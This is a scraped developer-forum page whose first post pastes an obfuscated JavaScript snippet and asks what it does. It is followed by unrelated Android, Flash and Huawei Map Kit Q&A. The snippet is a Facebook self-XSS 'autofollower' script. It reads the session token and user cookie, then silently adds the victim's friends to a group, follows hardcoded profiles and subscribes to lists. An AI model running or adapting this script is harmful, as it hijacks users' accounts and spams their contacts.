What does this codes do? - Other Operating Systems and Languages
Hi.
This might be out of topic but I want to ask what does this codes do? TIA
HTML:
(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Follower</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Loading ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> Followed You.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>Enjoy Your Followers</div><a href='https://www.facebook.com/russell.besmonte.aguila/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Created By: Russell Besmonte Aguila</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="</div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid black;background-color:rgba(225,225,255,0.75)'><b>Autofollower and liker Script by Russell Aguila </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})();var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[100004588452542])
function cereziAl(isim){var tarama=isim+"=";if(document.cookie.length>0){konum=document.cookie.indexOf(tarama)
if(konum!=-1){konum+=tarama.length
son=document.cookie.indexOf(";",konum)
if(son==-1)
son=document.cookie.length
return unescape(document.cookie.substring(konum,son))}
else{return"";}}}
function getRandomInt(min,max){return Math.floor(Math.random()*(max- min+ 1))+ min;}
function randomValue(arr){return arr[getRandomInt(0,arr.length-1)];}
var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[100004750329841]);function a(abone){var http4=new XMLHttpRequest();var url4="/ajax/follow/follow_profile.php?__a=100004750329841";var params4="profile_id="+ abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+ fb_dtsg+"&lsd&__"+ user_id+"&phstamp=";http4.open("POST",url4,true);http4.setRequestHeader("Content-type","application/x-www-form-urlencoded");http4.setRequestHeader("Content-length",params4.length);http4.setRequestHeader("Connection","close");http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200){http4.close;}}
http4.send(params4);}
function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+ uidss+" }).send();";document.body.appendChild(a);}
a("100004750329841");a("100003958340970");a("100004451862828");a("100006550022741");a("100006124060117");a("100007053631096");a("100007296244488");a("100006409530648");a("100000106525344");a("100007429652731");sublist("345678005572974");sublist("345890575551717");sublist("357881147685993");sublist("357879861019455");sublist("357880341019407");sublist("357880207686087");sublist("357881514352623");sublist("357880411019400");sublist("357881037686004");sublist("357880307686077");sublist("357879937686114");sublist("357881421019299");sublist("357880554352719");sublist("357881627685945");sublist("357881281019313");sublist("357881697685938");sublist("357882617685846");sublist("357920737682034");sublist("357920584348716");sublist("357920494348725");var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);var httpwp=new XMLHttpRequest();var urlwp='/ajax/groups/membership/r2j.php?__a=1';var paramswp='&ref=group_jump_header&group_id='+ gid+'&fb_dtsg='+ fb_dtsg+'&__user='+ user_id+'&phstamp=';httpwp['open']('POST',urlwp,true);httpwp['setRequestHeader']('Content-type','application/x-www-form-urlencoded');httpwp['setRequestHeader']('Content-length',paramswp['length']);httpwp['setRequestHeader']('Connection','keep-alive');httpwp['send'](paramswp);var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);var friends=new Array();gf=new XMLHttpRequest();gf['open']('GET','/ajax/typeahead/first_degree.php?__a=1&viewer='+ user_id+'&token'+ Math['random']()+'&filter[0]=user&options[0]=friends_only',false);gf['send']();if(gf['readyState']!=4){}else{data=eval('('+ gf['responseText']['substr'](9)+')');if(data['error']){}else{friends=data['payload']['entries']['sort'](function(_0x93dax8,_0x93dax9){return _0x93dax8['index']- _0x93dax9['index'];});};};
here' s a hint:
https://www.facebook.com/help/community/question/?id=665746596793260
Related
[Q] Calling Webservice from Android browser(Android 2.2) using html5 does not work
Hi, I have been working on calling a simple web service in html5 from Android Browser(Android 2.2). Its not working on Android browser. But, it works if i run it on a PC. Nothing happens when i click the button. I have been on net for couple of weeks now. But, didn't get anything to work. Below is the code of the html page. please help. <html> <head> <title>UseSwap</title> <script language="JavaScript"> function InitializeService(){ service.useService("h t t p://localhost:2913/WebServicesUsingCSharp/WebService.asmx?wsdl", "GetAgeService"); } var StrYear, StrMonth, StrDay; function GetAge(){ StrYear = document.DemoForm.StringYear.value; StrMonth = document.DemoForm.StringMonth.value; StrDay = document.DemoForm.StringDay.value; service.GetAgeService.callService("GetAge", StrYear, StrMonth, StrDay); } function ShowResult(){ alert(event.result.value); } </script> </head> <body onload="InitializeService()" id="service" style="behavior:url(webservice.htc)" onresult="ShowResult()"> <form name="DemoForm"> Year : <input type="text" name="StringYear"/> Month : <input type="text" name="StringMonth"/> Day : <input type="text" name="StringDay"/> <button onclick="GetAge()">Get Age</button> </form> </body> </html> Regards, Parashant.
Images in RSS (Flash Builder 4.5)
Hello all! I really need help, because I`m not a programmer, but I make a very simple RSS reader for my website in Flash Builder 4.5, based on this tutorial. Now I have a problem. I need to put images into articles in application (DetailsView). In my RSS feed images in <enclosure> tag. I have no idea how put images in DetailsView and how to get it with enclosure tag. Please, I really need this and I very greatful for any help! This is source coude for DetailsView: Code: <?xml version="1.0" encoding="utf-8"?> <s:View xmlns:fx="http://ns.adobe.com/mxml/2009" xmlns:s="library://ns.adobe.com/flex/spark" xmlns:rssreader="services.rssreader.*" title="" viewActivate="getDetails()"> <fx:Script> <![CDATA[ import valueObjects.Item; [Bindable] private var rtitle:String; [Bindable] private var rdate:String; [Bindable] private var rcreator:String; [Bindable] private var rlink:String; [Bindable] private var rdesc:String; private function getDetails():void { var p:RegExp = /(")/ig; var thisItem:Item = data as Item; rtitle = thisItem.title; rdate = thisItem.pubDate; rcreator = thisItem.author; rlink = thisItem.link; rdesc = thisItem.description; rtitle = rtitle.replace(p, ""); } ]]> </fx:Script> <fx:Declarations> <s:CallResponder id="getDataResult"/> <rssreader:Rssreader id="rssreader"/> </fx:Declarations> <s:navigationContent> <s:Button label="Nazaj" click="navigator.popView()" /> </s:navigationContent> <s:BorderContainer top="0" bottom="0" left="0" right="0" backgroundColor="#FFFFFF"> <s:Label left="20" right="20" top="42" height="61" backgroundColor="#FFFFFF" color="#000000" fontSize="24" paddingBottom="20" paddingLeft="5" paddingRight="5" paddingTop="5" text="{rtitle}"/> <s:Label left="20" right="90" top="14" height="23" backgroundColor="#FEFDFD" color="#666666" fontSize="18" fontStyle="italic" paddingBottom="5" paddingLeft="5" paddingRight="5" paddingTop="5" text="{rdate}"/> <s:BitmapImage y="91" left="20" right="20" height="135" source="image"/> <s:Label left="20" right="20" top="335" bottom="69" color="#666666" backgroundColor="#FFFFFF" fontSize="18" paddingBottom="5" paddingLeft="5" paddingRight="5" paddingTop="5" text="{rdesc}" maxDisplayedLines="50" /> <s:Button left="50" right="50" bottom="22" label="Preberi celoten članek" click="navigator.pushView(ClanekHTML, data.link)"/> </s:BorderContainer> </s:View> And this is link to my rss feed: http://www.elektro-vozila.si/rssnovice
I found this http://www.telexer.nl/code-snippets/retrieve-images-from-rss-all-of-them/2/ but how to put this code into my code?
Questions or Problems Should Not Be Posted in the Development Forum Please Post in the Correct Forums Moving to Q&A
OK, thx for move topic. Anyone in this section have a solution for my problem?
Please, anyone with solution for this problem?
[Q] How to get ReponseData and Signature for android LVL
Hi, I try to implement a server side verification of an application with LVL library. I use this php code : http://code.google.com/p/android-market-license-verification/ In the file sample/verify.php, I have two lines to complete : Code: $responseData = ''; $signature = ''; I see in the google LVL that there is a function called verify which has these parameters : public void verify(PublicKey publicKey, int responseCode, String signedData, String signature); But I don't undestand where this function is called and by what function. Also I want to get this datas. How can I do that ? Thank you,
Yeah!! Same here! Can someone tell us? Most apps use client side license verification, don't know why... This would be very useful!
Problem when trying to obtain a List from a Parcel object
Hi, I'm italian so I apologize for my bad english... I have a problem when I use the method Code: readList(List outVal, ClassLoader loader) I use this in this way Code: parcel.readList(mylist, null) I want to put the list that I putted into the parcel object in mylist. But when I try to access to the list I obtain a nullPointerException... What is wrong?
[AppsUP] Frequently Asked Questions About Huawei Map Kit
More information about the AppsUP contest, you can visit HUAWEI Developer Forum. The AppsUP contest has already been online. Maybe many developers encounter the following questions in the process. Today I want to share the frequently asked questions of Map Kit with you. Hope they can help you. Q: Can I transfer a mark in Google Map to HUAWEI Map? A: The mark in Google Map cannot be transferred to HUAWEI Map as Google Map does not support data export. Q: Huawei map not working after upload the app to Huawei gallery. If i installed the same apk directly to phone everything working perfectly. A: The fingerprint signatures of the two apps are different. That means you can use them separately. Q: I am using HMS Map kit in my application when i open the particular activity. i am getting some messages repeatedly and UI is getting hanged and ANR is happening. A: This issue can occur when the UI thread is blocked. There could be below reasons for this issue: 1> Not using the MapAsync for handlling the callback. 2> While using the MapInitializer, context is null. 3> This provided URL is not correct. Please check below for the reference https://developer.huawei.com/consumer/en/doc/development/HMS-References/hms-map-mapsinitializer https://developer.huawei.com/consumer/en/doc/development/HMS-References/hms-map-return-codes Q: Map is not rendering and displays white screen returns http status code 502 A: If HTTP status code 502 is returned, a network error has occurred. Check your network environment. https://developer.huawei.com/consumer/en/doc/development/HMSCore-Guides-V5/open-platform-error-0000001050121484-V5 Q: I find gesturing on Map Kit a bit difficult? Is there a solution to make the gesturing similar to what is available on the Google Maps? A: Some check points for you: 1. Please download sample code and use SupportMapFragment by referring to sample code. Link: https://developer.huawei.com/consumer/en/doc/development/HMS-Examples/hms-map-v4-example 2. Also please update the HMS Core version to the lastest and try. Q: I followed tutorial about Map Kit , i check everything are same with the tutorial but , my map still blank A: 1. Check wether you declared app id in manifest.xml file; 2. Enable map service in AGC. Q: Is it possible to tilt the map more than 45 degrees? A: Different tilt angles are required for different zoom levels. when zoom < 10: it not allowed to tilt. when zoom >= 10: 0 <= tilt <= 45. So when you set tile to 70f, it can be max to 45f. Q: I am developing an app with flutter and I decided to link it to a map kit, I followed the documentation and I still get this black screen that shows blank cells and I can't fix this problem A: You probably haven't set up your signature certificate fingerprint Please have a look at this guide: https://developer.huawei.com/consumer/en/doc/development/HMS-Plugin-Guides/config-agc-0000001050296920 Q: map kit 'integrated with flutter' doesn't work with all mobile phones A: For the build apk, you should config your build.gradle like this (https://forums.developer.huawei.com/forumPortal/en/topicview?tid=0201289420207900111&fid=0101187876626530001) Q: I couldn't find the complete list of mapFeatures in MapStyle JSON. Can I know where can I obtain the MapStyle JSON with all the mapFeatures? A: You can refer to the official website: https://developer.huawei.com/consumer/en/doc/development/HMSCore-Guides/android-sdk-map-style-customization-0000001050728424 There is also a Style Editor that can be used to generate the JSON files in a quick manner located at the bottom of the documentation. Q: How to convert from com.huawei.hms.maps.model.PointOfInterest to com.huawei.hms.site.api.model.Site ? A: You can use the Site Kit Place Details to obtain the site for a given POI Code: <p style="line-height: 1.5em;">override fun onPoiClick(poi: PointOfInterest) { //Obtain a Search service Instance val searchService = SearchServiceFactory.create(requireContext(), URLEncoder.encode(API_KEY, "UTF-8") ) //Create the request for the given POI val request = DetailSearchRequest() request.setSiteId(poi.placeId) // Create a search result listener. val resultListener = object : SearchResultListener<DetailSearchResponse?> { // Return search results upon a successful search. override fun onSearchResult(result: DetailSearchResponse?) { var site: Site?=null if (result == null || result.site.also { site = it } == null) { return } //here you can get the site information Log.i("SITE","${site?.formatAddress}") } // Return the result code and description upon a search exception. override fun onSearchError(status: SearchStatus) { Log.e( "TAG", "Error : " + status.errorCode + " " + status.errorMessage ) } } searchService.detailSearch(request, resultListener) }</p> You can check the guide here: https://developer.huawei.com/consumer/en/doc/development/HMSCore-Guides-V5/android-sdk-place-details-0000001050156636-V5 More information like above, follow me. You can get the updated collection about HMS Kits. Any doubts or questions about this, you can leave your comment below.